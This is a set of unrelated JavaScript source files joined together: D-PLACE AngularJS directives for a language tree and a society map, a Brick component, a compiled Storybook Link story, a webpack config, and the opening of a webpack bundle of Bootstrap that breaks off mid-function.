scope.results.societies.forEach(function(society) {
var selected = node.filter(function(d) {
return d.name == society.society.name;
});
//lastly, append the text
var text = selected.select("text");
if (text[0][0]) {
text.html(society.society.name);
} else {
selected.append("svg:text")
.attr("dx", function(n) {
if (langTree.name.indexOf("global") != -1) return 10;
if (scope.query.e && scope.query.c) return translate+20;
else if (scope.query.c) return translate-5;
else if (scope.query.e) return translate+10;
else if (scope.query.l) return translate+10;
else return translate+5;
})
.attr("dy", 4)
.attr("font-size", "12px")
.attr("font-family", "Arial")
.text(function(d) {
return society.society.name;
});
}
});
d3.selectAll(".inner-node").select("circle").remove();
d3.selectAll(".inner-node").select("text").remove();
//Time Scale
/*if (langTree.name.indexOf("glotto") == -1 && langTree.name.indexOf("global") == -1) {
line_svg= d3.select('language-phylogeny').append("svg:svg")
.attr("style", "margin-left:100px; margin-top:-100px;");
line_svg.append("svg:line")
.attr("x1", "0")
.attr("y1", "0")
.attr("x2", pixelScale)
.attr("y2", "0")
.attr("style", "stroke:#ccc;stroke-width:7;");
line_svg.append("svg:text")
.attr("dy", "20")
.attr("dx", function() {
text_pos = (pixelScale - 63) / 2;
if (text_pos < 0) return 0;
else return text_pos;
})
.text("100 years");
}*/
if (langTree.name.indexOf("global") == -1) addLogo(h/2);
};
scope.$on('treeSelected', function(event, args) {
constructTree(args.tree);
$(window).scroll(function() {
if($(".phylogeny").height() > $("#legend").height()) {
if ($(window).scrollTop() > $(".navbar").height()+250) {
if (args.tree.name.indexOf("global") == -1) {
if (document.getElementsByClassName("in").length > 0) {
bottom = document.getElementsByClassName("in")[0].getBoundingClientRect().top;
margTop = document.getElementById("legend").getBoundingClientRect().top;
difference = bottom - margTop;
$("#legend").stop().animate({"marginTop": ($(window).scrollTop() - 290 - difference) + "px"}, "slow");
} else {
$("#legend").stop().animate({"marginTop":($(window).scrollTop() - 350) + "px"}, "slow");
}
} else
$("#legend").stop().animate({"marginTop": ($(window).scrollTop() - 300) + "px"}, "slow");
} else {
$("#legend").stop().animate({"marginTop": "0px"}, "slow");
}
}
/*if ($(window).scrollTop() > $(".navbar").height()+250) {
d3.select("#varLabels")
.attr('class', 'var-labels-fixed')
.style("visibility", "visible");
} else {
d3.select("#varLabels")
.classed('var-labels-fixed', false)
.style("visibility", "hidden");
}*/
});
});
}
return {
restrict: 'E',
link: link
};
});
angular.module('dplaceMapDirective', [])
.directive('dplaceMap', function(colorMapService) {
function link(scope, element, attrs) {
// jVectorMap requires an ID for the element
// If not present, default to 'mapDiv'
var mapDivId = scope.mapDivId || 'mapDiv';
// Not possible to assign default values to bound attributes, so check
element.append("<div id='" + mapDivId + "' style='width:800px; height:30rem;'></div>");
scope.localRegions = [];
scope.checkDirty = function() {
return !(angular.equals(scope.localRegions, scope.selectedRegions));
};
scope.updatesEnabled = true;
var hideMap = function(scope) {
if(angular.isDefined(scope.map)) {
scope.map.remove();
scope.map = undefined;
}
};
var showMap = function(scope) {
scope.map = $('#' + mapDivId).vectorMap({
map: 'tdwg-level2_mill_en',
backgroundColor: 'white',
series: {
markers: [{
attribute: 'fill'
}]
},
markerStyle: {
initial: {
"r": 2.7,
"stroke-width":0.5
}
},
regionStyle: {
initial: {
fill: '#C0C6C6',
"fill-opacity": 1,
"stroke": '#357ebd',
"stroke-width": 0,
"stroke-opacity": 1
},
hover: {
"fill-opacity": 0.8
},
selected: {
fill: '#113'
},
selectedHover: {
}
},
onMarkerClick: function(e, code) {
window.open("/society/"+scope.map.series.markers[0].elements[code].config.weburl);
},
onRegionOver: function(e, code) {
if(attrs.region) {
scope.$apply(function () {
scope.region = code;
});
}
},
onRegionSelected: function(e, code, isSelected, selectedRegionCodes) {
if(scope.updatesEnabled && attrs.selectedRegions) {
scope.localRegions = selectedRegionCodes.map(function(code) {
return {
code: code,
name: scope.map.getRegionName(code)
};
});
var dirty = scope.checkDirty();
if(dirty) {
scope.$apply(function() {
scope.selectedRegions = angular.copy(scope.localRegions);
});
}
}
},
regionsSelectable: true
}).vectorMap('get','mapObject');
$.get("/static/images/D-PLACE_VLogo_RGB.svg", function(data) {
var svg_data = data.childNodes;
d3.selectAll(".jvectormap-container svg").insert("svg:g")
.attr("transform", "scale(0.35) translate(200, 600)")
.attr("style", "opacity: 0.35;")
.attr("id", "map-logo");
document.getElementById("map-logo").innerHTML = svg_data[1].innerHTML;
});
scope.addMarkers = function() {
if (!scope.map) {
return;
}
scope.map.removeAllMarkers();
if(!scope.results) {
return;
}
// get the society IDs
var societyIds = scope.results.societies.map(function(societyResult) {
return societyResult.society.id;
});
//needed for colorMap construction - creates a results object specific to the chosen variable
var results = {};
results.societies = [];
results.environmental_variables = scope.results.environmental_variables;
results.geographic_regions = scope.results.geographic_regions;
results.languages = scope.results.languages;
results.variable_descriptions = scope.results.variable_descriptions;
scope.results.societies.forEach(function(societyResult) {
var society = societyResult.society;
// Add a marker for each point
if (society.location && society.location.coordinates[1] && society.location.coordinates[0]) {
var marker = {latLng: [society.location.coordinates[1], society.location.coordinates[0]], name: society.name, weburl: society.ext_id}
} else {
return;
}
if (!scope.chosen) {
results = scope.results;
} else {
variable = scope.results.variable_descriptions.filter(function(var_code) {
return var_code.variable == scope.chosen;
});
if (variable.length > 0) {
societyResult.variable_coded_values.forEach(function(coded_value) {
if (coded_value.variable == scope.chosen.id) {
if (coded_value.code_description && coded_value.code_description.description.indexOf("Missing data") != -1) {
return;
}
if (scope.chosen.data_type.toUpperCase() == 'CONTINUOUS') {
results.societies.push({
'variable_coded_values':[coded_value],
'environmental_values': [],
'society':society,
});
} else {
results.societies.push({
'variable_coded_values':[coded_value],
'environmental_values': [],
'society':society,
});
}
}
});
}
else if (scope.results.environmental_variables.indexOf(scope.chosen) != -1) {
societyResult.environmental_values.forEach(function(coded_value) {
if (coded_value.variable == scope.chosen.id) {
results.societies.push({
'environmental_values': [coded_value],
'variable_coded_values':[],
'society':society,
});
}
});
}
}
scope.map.addMarker(society.id, marker);
});
// Map IDs to colors
var colorMap = colorMapService.generateColorMap(results);
scope.map.series.markers[0].setValues(colorMap);
for (var i = 0; i < societyIds.length; i++) {
if (societyIds[i] in colorMap) continue;
else scope.map.removeMarkers([societyIds[i]]);
}
};
if(attrs.results) {
// Update markers when societies change
scope.$watchCollection('results', function(oldvalue, newvalue) {
scope.addMarkers();
});
}
if (attrs.chosen) {
scope.$watchCollection('chosen', function(oldvalue, newvalue) {
scope.addMarkers();
});
}
if(attrs.selectedRegions) {
scope.$watchCollection('selectedRegions', function(oldvalue, newvalue) {
var dirty = scope.checkDirty();
if(dirty) {
// update the local variable first
scope.localRegions = angular.copy(scope.selectedRegions);
// then update the UI
scope.updatesEnabled = false;
var regionCodes = scope.localRegions.map(function(region){
return region.code;
});
scope.map.clearSelectedRegions();
scope.map.setSelectedRegions(regionCodes);
scope.updatesEnabled = true;
}
});
}
scope.$on('$destroy', function() {
hideMap(scope);
});
scope.map.updateSize();
};
// Handle visibility toggle
// This is necessary for results page where element is in the DOM but not visible.
var initiallyVisible = false;
// If we have a bound variable to toggle visibility, watch for changes to it
if(attrs.visible) {
// 'visible' attribute was bound in the tag
// use the scope value and watch for changes
initiallyVisible = scope.visible;
scope.$watch('visible', function(oldValue, newValue) {
if(scope.visible) {
showMap(scope);
} else {
hideMap(scope);
}
});
} else {
// tag does not bind a 'visible' attribute, default to true
initiallyVisible = true;
}
if(initiallyVisible) {
showMap(scope);
}
}
return {
restrict: 'E',
scope: {
results: '=',
region: '=',
selectedRegions: '=',
mapDivId: '@',
visible: '=',
query: '=',
chosen: '=',
},
link: link
};
});
|
var Component = new Brick.Component();
Component.requires = {
mod: [
{name: 'sys', files: ['app.js']},
{name: '{C#MODNAME}', files: ['app.js', 'model.js']}
]
};
Component.entryPoint = function(NS){
var COMPONENT = this,
SYS = Brick.mod.sys;
SYS.createApp(COMPONENT, {}, {
API: {
record: {
args: ['recordid'],
type: "model:Record"
},
recordList: {
type: "modelList:RecordList"
},
recordSave: {
args: ['data'],
toPOST: ['data'],
type: 'model:RecordSave'
},
recordRemove: {
args: ['recordid'],
type: 'model:RecordRemove'
}
},
ATTRS: {
Record: {value: NS.Record},
RecordList: {value: NS.RecordList},
RecordSave: {value: NS.RecordSave},
RecordRemove: {value: NS.RecordRemove},
},
ROLES: {
isView: 10,
isWrite: 30,
isAdmin: 50
},
URLS: {
ws: "#app={C#MODNAME}/wspace/ws/",
record: {
list: function(){
return this.getURL('ws') + 'recordList/RecordListWidget/';
},
create: function(){
return this.getURL('record.edit');
},
edit: function(recordid){
return this.getURL('ws') + 'recordEditor/RecordEditorWidget/' + (recordid | 0) + '/';
},
view: function(recordid){
return this.getURL('ws') + 'recordViewer/RecordViewerWidget/' + (recordid | 0) + '/';
},
remove: function(recordid){
return this.getURL('ws') + 'recordRemove/RecordRemoveWidget/' + (recordid | 0) + '/';
},
}
}
});
}; |
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.Default = exports.default = void 0;
var _react = _interopRequireDefault(require("react"));
var _addonActions = require("@storybook/addon-actions");
var _addonKnobs = require("@storybook/addon-knobs");
var _Link = _interopRequireDefault(require("../Link"));
var _Link2 = _interopRequireDefault(require("./Link.mdx"));
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
/**
* Copyright IBM Corp. 2016, 2018
*
* This source code is licensed under the Apache-2.0 license found in the
* LICENSE file in the root directory of this source tree.
*/
/* eslint-disable no-console */
var props = function props() {
return {
className: 'some-class',
href: (0, _addonKnobs.text)('The link href (href)', '#'),
inline: (0, _addonKnobs.boolean)('Use the in-line variant (inline)', false),
visited: (0, _addonKnobs.boolean)('Allow visited styles', false),
onClick: function (handler) {
return function (evt) {
evt.preventDefault(); // Prevent link from being followed for demo purpose
handler(evt);
};
}((0, _addonActions.action)('onClick')),
disabled: (0, _addonKnobs.boolean)('Disabled', false),
size: (0, _addonKnobs.select)('Link size', {
Default: undefined,
'Small (sm)': 'sm',
'Large (lg)': 'lg'
})
};
};
var _default = {
title: 'Link',
decorators: [_addonKnobs.withKnobs],
parameters: {
component: _Link.default,
docs: {
page: _Link2.default
}
}
};
exports.default = _default;
var Default = function Default() {
return /*#__PURE__*/_react.default.createElement(_Link.default, props(), "Link");
};
exports.Default = Default;
Default.parameters = {
info: {
text: "\n Links are typically used as a means of navigation either within the application, to a place outside, or to a resource.\n For anything else, especially things that change data, you should be using a button.\n "
}
}; |
const UglifyJsPlugin = require('uglifyjs-webpack-plugin');
module.exports = {
optimization: {
minimizer: [new UglifyJsPlugin()],
},
};
|
/******/ (function(modules) { // webpackBootstrap
/******/ // The module cache
/******/ var installedModules = {};
/******/
/******/ // The require function
/******/ function __webpack_require__(moduleId) {
/******/
/******/ // Check if module is in cache
/******/ if(installedModules[moduleId]) {
/******/ return installedModules[moduleId].exports;
/******/ }
/******/ // Create a new module (and put it into the cache)
/******/ var module = installedModules[moduleId] = {
/******/ i: moduleId,
/******/ l: false,
/******/ exports: {}
/******/ };
/******/
/******/ // Execute the module function
/******/ modules[moduleId].call(module.exports, module, module.exports, __webpack_require__);
/******/
/******/ // Flag the module as loaded
/******/ module.l = true;
/******/
/******/ // Return the exports of the module
/******/ return module.exports;
/******/ }
/******/
/******/
/******/ // expose the modules object (__webpack_modules__)
/******/ __webpack_require__.m = modules;
/******/
/******/ // expose the module cache
/******/ __webpack_require__.c = installedModules;
/******/
/******/ // define getter function for harmony exports
/******/ __webpack_require__.d = function(exports, name, getter) {
/******/ if(!__webpack_require__.o(exports, name)) {
/******/ Object.defineProperty(exports, name, { enumerable: true, get: getter });
/******/ }
/******/ };
/******/
/******/ // define __esModule on exports
/******/ __webpack_require__.r = function(exports) {
/******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) {
/******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });
/******/ }
/******/ Object.defineProperty(exports, '__esModule', { value: true });
/******/ };
/******/
/******/ // create a fake namespace object
/******/ // mode & 1: value is a module id, require it
/******/ // mode & 2: merge all properties of value into the ns
/******/ // mode & 4: return value when already ns object
/******/ // mode & 8|1: behave like require
/******/ __webpack_require__.t = function(value, mode) {
/******/ if(mode & 1) value = __webpack_require__(value);
/******/ if(mode & 8) return value;
/******/ if((mode & 4) && typeof value === 'object' && value && value.__esModule) return value;
/******/ var ns = Object.create(null);
/******/ __webpack_require__.r(ns);
/******/ Object.defineProperty(ns, 'default', { enumerable: true, value: value });
/******/ if(mode & 2 && typeof value != 'string') for(var key in value) __webpack_require__.d(ns, key, function(key) { return value[key]; }.bind(null, key));
/******/ return ns;
/******/ };
/******/
/******/ // getDefaultExport function for compatibility with non-harmony modules
/******/ __webpack_require__.n = function(module) {
/******/ var getter = module && module.__esModule ?
/******/ function getDefault() { return module['default']; } :
/******/ function getModuleExports() { return module; };
/******/ __webpack_require__.d(getter, 'a', getter);
/******/ return getter;
/******/ };
/******/
/******/ // Object.prototype.hasOwnProperty.call
/******/ __webpack_require__.o = function(object, property) { return Object.prototype.hasOwnProperty.call(object, property); };
/******/
/******/ // __webpack_public_path__
/******/ __webpack_require__.p = "";
/******/
/******/
/******/ // Load entry module and return exports
/******/ return __webpack_require__(__webpack_require__.s = 0);
/******/ })
/************************************************************************/
/******/ ({
/***/ "./node_modules/bootstrap/dist/js/bootstrap.js":
/*!*****************************************************!*\
!*** ./node_modules/bootstrap/dist/js/bootstrap.js ***!
\*****************************************************/
/*! no static exports found */
/***/ (function(module, exports, __webpack_require__) {
eval("/*!\n * Bootstrap v4.1.3 (https://getbootstrap.com/)\n * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors)\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n */\n(function (global, factory) {\n true ? factory(exports, __webpack_require__(/*! jquery */ \"./node_modules/jquery/dist/jquery.js\"), __webpack_require__(/*! popper.js */ \"./node_modules/popper.js/dist/esm/popper.js\")) :\n undefined;\n}(this, (function (exports,$,Popper) { 'use strict';\n\n $ = $ && $.hasOwnProperty('default') ? $['default'] : $;\n Popper = Popper && Popper.hasOwnProperty('default') ? Popper['default'] : Popper;\n\n function _defineProperties(target, props) {\n for (var i = 0; i < props.length; i++) {\n var descriptor = props[i];\n descriptor.enumerable = descriptor.enumerable || false;\n descriptor.configurable = true;\n if (\"value\" in descriptor) descriptor.writable = true;\n Object.defineProperty(target, descriptor.key, descriptor);\n }\n }\n\n function _createClass(Constructor, protoProps, staticProps) {\n if (protoProps) _defineProperties(Constructor.prototype, protoProps);\n if (staticProps) _defineProperties(Constructor, staticProps);\n return Constructor;\n }\n\n function _defineProperty(obj, key, value) {\n if (key in obj) {\n Object.defineProperty(obj, key, {\n value: value,\n enumerable: true,\n configurable: true,\n writable: true\n });\n } else {\n obj[key] = value;\n }\n\n return obj;\n }\n\n function _objectSpread(target) {\n for (var i = 1; i < arguments.length; i++) {\n var source = arguments[i] != null ? arguments[i] : {};\n var ownKeys = Object.keys(source);\n\n if (typeof Object.getOwnPropertySymbols === 'function') {\n ownKeys = ownKeys.concat(Object.getOwnPropertySymbols(source).filter(function (sym) {\n return Object.getOwnPropertyDescriptor(source, sym).enumerable;\n }));\n }\n\n ownKeys.forEach(function (key) {\n _defineProperty(target, key, source[key]);\n });\n }\n\n return target;\n }\n\n function _inheritsLoose(subClass, superClass) {\n subClass.prototype = Object.create(superClass.prototype);\n subClass.prototype.constructor = subClass;\n subClass.__proto__ = superClass;\n }\n\n /**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.3): util.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\n var Util = function ($$$1) {\n /**\n * ------------------------------------------------------------------------\n * Private TransitionEnd Helpers\n * ------------------------------------------------------------------------\n */\n var TRANSITION_END = 'transitionend';\n var MAX_UID = 1000000;\n var MILLISECONDS_MULTIPLIER = 1000; // Shoutout AngusCroll (https://goo.gl/pxwQGp)\n\n function toType(obj) {\n return {}.toString.call(obj).match(/\\s([a-z]+)/i)[1].toLowerCase();\n }\n\n function getSpecialTransitionEndEvent() {\n return {\n bindType: TRANSITION_END,\n delegateType: TRANSITION_END,\n handle: function handle(event) {\n if ($$$1(event.target).is(this)) {\n return event.handleObj.handler.apply(this, arguments); // eslint-disable-line prefer-rest-params\n }\n\n return undefined; // eslint-disable-line no-undefined\n }\n };\n }\n\n function transitionEndEmulator(duration) {\n var _this = this;\n\n var called = false;\n $$$1(this).one(Util.TRANSITION_END, function () {\n called = true;\n });\n setTimeout(function () {\n if (!called) {\n Util.triggerTransitionEnd(_this);\n }\n }, duration);\n return this;\n }\n\n function setTransitionEndSupport() {\n $$$1.fn.emulateTransitionEnd = transitionEndEmulator;\n $$$1.event.special[Util.TRANSITION_END] = getSpecialTransitionEndEvent();\n }\n /**\n * --------------------------------------------------------------------------\n * Public Util Api\n * --------------------------------------------------------------------------\n */\n\n\n var Util = {\n TRANSITION_END: 'bsTransitionEnd',\n getUID: function getUID(prefix) {\n do {\n // eslint-disable-next-line no-bitwise\n prefix += ~~(Math.random() * MAX_UID); // \"~~\" acts like a faster Math.floor() here\n } while (document.getElementById(prefix));\n\n return prefix;\n },\n getSelectorFromElement: function getSelectorFromElement(element) {\n var selector = element.getAttribute('data-target');\n\n if (!selector || selector === '#') {\n selector = element.getAttribute('href') || '';\n }\n\n try {\n return document.querySelector(selector) ? selector : null;\n } catch (err) {\n return null;\n }\n },\n getTransitionDurationFromElement: function getTransitionDurationFromElement(element) {\n if (!element) {\n return 0;\n } // Get transition-duration of the element\n\n\n var transitionDuration = $$$1(element).css('transition-duration');\n var floatTransitionDuration = parseFloat(transitionDuration); // Return 0 if element or transition duration is not found\n\n if (!floatTransitionDuration) {\n return 0;\n } // If multiple durations are defined, take the first\n\n\n transitionDuration = transitionDuration.split(',')[0];\n return parseFloat(transitionDuration) * MILLISECONDS_MULTIPLIER;\n },\n reflow: function reflow(element) {\n return element.offsetHeight;\n },\n triggerTransitionEnd: function triggerTransitionEnd(element) {\n $$$1(element).trigger(TRANSITION_END);\n },\n // TODO: Remove in v5\n supportsTransitionEnd: function supportsTransitionEnd() {\n return Boolean(TRANSITION_END);\n },\n isElement: function isElement(obj) {\n return (obj[0] || obj).nodeType;\n },\n typeCheckConfig: function typeCheckConfig(componentName, config, configTypes) {\n for (var property in configTypes) {\n if (Object.prototype.hasOwnProperty.call(configTypes, property)) {\n var expectedTypes = configTypes[property];\n var value = config[property];\n var valueType = value && Util.isElement(value) ? 'element' : toType(value);\n\n if (!new RegExp(expectedTypes).test(valueType)) {\n throw new Error(componentName.toUpperCase() + \": \" + (\"Option \\\"\" + property + \"\\\" provided type \\\"\" + valueType + \"\\\" \") + (\"but expected type \\\"\" + expectedTypes + \"\\\".\"));\n }\n }\n }\n }\n };\n setTransitionEndSupport();\n return Util;\n }($);\n\n /**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.3): alert.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\n var Alert = function ($$$1) {\n /**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n var NAME = 'alert';\n var VERSION = '4.1.3';\n var DATA_KEY = 'bs.alert';\n var EVENT_KEY = \".\" + DATA_KEY;\n var DATA_API_KEY = '.data-api';\n var JQUERY_NO_CONFLICT = $$$1.fn[NAME];\n var Selector = {\n DISMISS: '[data-dismiss=\"alert\"]'\n };\n var Event = {\n CLOSE: \"close\" + EVENT_KEY,\n CLOSED: \"closed\" + EVENT_KEY,\n CLICK_DATA_API: \"click\" + EVENT_KEY + DATA_API_KEY\n };\n var ClassName = {\n ALERT: 'alert',\n FADE: 'fade',\n SHOW: 'show'\n /**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\n };\n\n var Alert =\n /*#__PURE__*/\n function () {\n function Alert(element) {\n this._element = element;\n } // Getters\n\n\n var _proto = Alert.prototype;\n\n // Public\n _proto.close = function close(element) {\n var rootElement = this._element;\n\n if (element) {\n rootElement = this._getRootElement(element);\n }\n\n var customEvent = this._triggerCloseEvent(rootElement);\n\n if (customEvent.isDefaultPrevented()) {\n return;\n }\n\n this._removeElement(rootElement);\n };\n\n _proto.dispose = function dispose() {\n $$$1.removeData(this._element, DATA_KEY);\n this._element = null;\n }; // Private\n\n\n _proto._getRootElement = function _getRootElement(element) {\n var selector = Util.getSelectorFromElement(element);\n var parent = false;\n\n if (selector) {\n parent = document.querySelector(selector);\n }\n\n if (!parent) {\n parent = $$$1(element).closest(\".\" + ClassName.ALERT)[0];\n }\n\n return parent;\n };\n\n _proto._triggerCloseEvent = function _triggerCloseEvent(element) {\n var closeEvent = $$$1.Event(Event.CLOSE);\n $$$1(element).trigger(closeEvent);\n return closeEvent;\n };\n\n _proto._removeElement = function _removeElement(element) {\n var _this = this;\n\n $$$1(element).removeClass(ClassName.SHOW);\n\n if (!$$$1(element).hasClass(ClassName.FADE)) {\n this._destroyElement(element);\n\n return;\n }\n\n var transitionDuration = Util.getTransitionDurationFromElement(element);\n $$$1(element).one(Util.TRANSITION_END, function (event) {\n return _this._destroyElement(element, event);\n }).emulateTransitionEnd(transitionDuration);\n };\n\n _proto._destroyElement = function _destroyElement(element) {\n $$$1(element).detach().trigger(Event.CLOSED).remove();\n }; // Static\n\n\n Alert._jQueryInterface = function _jQueryInterface(config) {\n return this.each(function () {\n var $element = $$$1(this);\n var data = $element.data(DATA_KEY);\n\n if (!data) {\n data = new Alert(this);\n $element.data(DATA_KEY, data);\n }\n\n if (config === 'close') {\n data[config](this);\n }\n });\n };\n\n Alert._handleDismiss = function _handleDismiss(alertInstance) {\n return function (event) {\n if (event) {\n event.preventDefault();\n }\n\n alertInstance.close(this);\n };\n };\n\n _createClass(Alert, null, [{\n key: \"VERSION\",\n get: function get() {\n return VERSION;\n }\n }]);\n\n return Alert;\n }();\n /**\n * ------------------------------------------------------------------------\n * Data Api implementation\n * ------------------------------------------------------------------------\n */\n\n\n $$$1(document).on(Event.CLICK_DATA_API, Selector.DISMISS, Alert._handleDismiss(new Alert()));\n /**\n * ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n */\n\n $$$1.fn[NAME] = Alert._jQueryInterface;\n $$$1.fn[NAME].Constructor = Alert;\n\n $$$1.fn[NAME].noConflict = function () {\n $$$1.fn[NAME] = JQUERY_NO_CONFLICT;\n return Alert._jQueryInterface;\n };\n\n return Alert;\n }($);\n\n /**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.3): button.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\n var Button = function ($$$1) {\n /**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n var NAME = 'button';\n var VERSION = '4.1.3';\n var DATA_KEY = 'bs.button';\n var EVENT_KEY = \".\" + DATA_KEY;\n var DATA_API_KEY = '.data-api';\n var JQUERY_NO_CONFLICT = $$$1.fn[NAME];\n var ClassName = {\n ACTIVE: 'active',\n BUTTON: 'btn',\n FOCUS: 'focus'\n };\n var Selector = {\n DATA_TOGGLE_CARROT: '[data-toggle^=\"button\"]',\n DATA_TOGGLE: '[data-toggle=\"buttons\"]',\n INPUT: 'input',\n ACTIVE: '.active',\n BUTTON: '.btn'\n };\n var Event = {\n CLICK_DATA_API: \"click\" + EVENT_KEY + DATA_API_KEY,\n FOCUS_BLUR_DATA_API: \"focus\" + EVENT_KEY + DATA_API_KEY + \" \" + (\"blur\" + EVENT_KEY + DATA_API_KEY)\n /**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\n };\n\n var Button =\n /*#__PURE__*/\n function () {\n function Button(element) {\n this._element = element;\n } // Getters\n\n\n var _proto = Button.prototype;\n\n // Public\n _proto.toggle = function toggle() {\n var triggerChangeEvent = true;\n var addAriaPressed = true;\n var rootElement = $$$1(this._element).closest(Selector.DATA_TOGGLE)[0];\n\n if (rootElement) {\n var input = this._element.querySelector(Selector.INPUT);\n\n if (input) {\n if (input.type === 'radio') {\n if (input.checked && this._element.classList.contains(ClassName.ACTIVE)) {\n triggerChangeEvent = false;\n } else {\n var activeElement = rootElement.querySelector(Selector.ACTIVE);\n\n if (activeElement) {\n $$$1(activeElement).removeClass(ClassName.ACTIVE);\n }\n }\n }\n\n if (triggerChangeEvent) {\n if (input.hasAttribute('disabled') || rootElement.hasAttribute('disabled') || input.classList.contains('disabled') || rootElement.classList.contains('disabled')) {\n return;\n }\n\n input.checked = !this._element.classList.contains(ClassName.ACTIVE);\n $$$1(input).trigger('change');\n }\n\n input.focus();\n addAriaPressed = false;\n }\n }\n\n if (addAriaPressed) {\n this._element.setAttribute('aria-pressed', !this._element.classList.contains(ClassName.ACTIVE));\n }\n\n if (triggerChangeEvent) {\n $$$1(this._element).toggleClass(ClassName.ACTIVE);\n }\n };\n\n _proto.dispose = function dispose() {\n $$$1.removeData(this._element, DATA_KEY);\n this._element = null;\n }; // Static\n\n\n Button._jQueryInterface = function _jQueryInterface(config) {\n return this.each(function () {\n var data = $$$1(this).data(DATA_KEY);\n\n if (!data) {\n data = new Button(this);\n $$$1(this).data(DATA_KEY, data);\n }\n\n if (config === 'toggle') {\n data[config]();\n }\n });\n };\n\n _createClass(Button, null, [{\n key: \"VERSION\",\n get: function get() {\n return VERSION;\n }\n }]);\n\n return Button;\n }();\n /**\n * ------------------------------------------------------------------------\n * Data Api implementation\n * ------------------------------------------------------------------------\n */\n\n\n $$$1(document).on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE_CARROT, function (event) {\n event.preventDefault();\n var button = event.target;\n\n if (!$$$1(button).hasClass(ClassName.BUTTON)) {\n button = $$$1(button).closest(Selector.BUTTON);\n }\n\n Button._jQueryInterface.call($$$1(button), 'toggle');\n }).on(Event.FOCUS_BLUR_DATA_API, Selector.DATA_TOGGLE_CARROT, function (event) {\n var button = $$$1(event.target).closest(Selector.BUTTON)[0];\n $$$1(button).toggleClass(ClassName.FOCUS, /^focus(in)?$/.test(event.type));\n });\n /**\n * ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n */\n\n $$$1.fn[NAME] = Button._jQueryInterface;\n $$$1.fn[NAME].Constructor = Button;\n\n $$$1.fn[NAME].noConflict = function () {\n $$$1.fn[NAME] = JQUERY_NO_CONFLICT;\n return Button._jQueryInterface;\n };\n\n return Button;\n }($);\n\n /**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.3): carousel.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\n var Carousel = function ($$$1) {\n /**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n var NAME = 'carousel';\n var VERSION = '4.1.3';\n var DATA_KEY = 'bs.carousel';\n var EVENT_KEY = \".\" + DATA_KEY;\n var DATA_API_KEY = '.data-api';\n var JQUERY_NO_CONFLICT = $$$1.fn[NAME];\n var ARROW_LEFT_KEYCODE = 37; // KeyboardEvent.which value for left arrow key\n\n var ARROW_RIGHT_KEYCODE = 39; // KeyboardEvent.which value for right arrow key\n\n var TOUCHEVENT_COMPAT_WAIT = 500; // Time for mouse compat events to fire after touch\n\n var Default = {\n interval: 5000,\n keyboard: true,\n slide: false,\n pause: 'hover',\n wrap: true\n };\n var DefaultType = {\n interval: '(number|boolean)',\n keyboard: 'boolean',\n slide: '(boolean|string)',\n pause: '(string|boolean)',\n wrap: 'boolean'\n };\n var Direction = {\n NEXT: 'next',\n PREV: 'prev',\n LEFT: 'left',\n RIGHT: 'right'\n };\n var Event = {\n SLIDE: \"slide\" + EVENT_KEY,\n SLID: \"slid\" + EVENT_KEY,\n KEYDOWN: \"keydown\" + EVENT_KEY,\n MOUSEENTER: \"mouseenter\" + EVENT_KEY,\n MOUSELEAVE: \"mouseleave\" + EVENT_KEY,\n TOUCHEND: \"touchend\" + EVENT_KEY,\n LOAD_DATA_API: \"load\" + EVENT_KEY + DATA_API_KEY,\n CLICK_DATA_API: \"click\" + EVENT_KEY + DATA_API_KEY\n };\n var ClassName = {\n CAROUSEL: 'carousel',\n ACTIVE: 'active',\n SLIDE: 'slide',\n RIGHT: 'carousel-item-right',\n LEFT: 'carousel-item-left',\n NEXT: 'carousel-item-next',\n PREV: 'carousel-item-prev',\n ITEM: 'carousel-item'\n };\n var Selector = {\n ACTIVE: '.active',\n ACTIVE_ITEM: '.active.carousel-item',\n ITEM: '.carousel-item',\n NEXT_PREV: '.carousel-item-next, .carousel-item-prev',\n INDICATORS: '.carousel-indicators',\n DATA_SLIDE: '[data-slide], [data-slide-to]',\n DATA_RIDE: '[data-ride=\"carousel\"]'\n /**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\n };\n\n var Carousel =\n /*#__PURE__*/\n function () {\n function Carousel(element, config) {\n this._items = null;\n this._interval = null;\n this._activeElement = null;\n this._isPaused = false;\n this._isSliding = false;\n this.touchTimeout = null;\n this._config = this._getConfig(config);\n this._element = $$$1(element)[0];\n this._indicatorsElement = this._element.querySelector(Selector.INDICATORS);\n\n this._addEventListeners();\n } // Getters\n\n\n var _proto = Carousel.prototype;\n\n // Public\n _proto.next = function next() {\n if (!this._isSliding) {\n this._slide(Direction.NEXT);\n }\n };\n\n _proto.nextWhenVisible = function nextWhenVisible() {\n // Don't call next when the page isn't visible\n // or the carousel or its parent isn't visible\n if (!document.hidden && $$$1(this._element).is(':visible') && $$$1(this._element).css('visibility') !== 'hidden') {\n this.next();\n }\n };\n\n _proto.prev = function prev() {\n if (!this._isSliding) 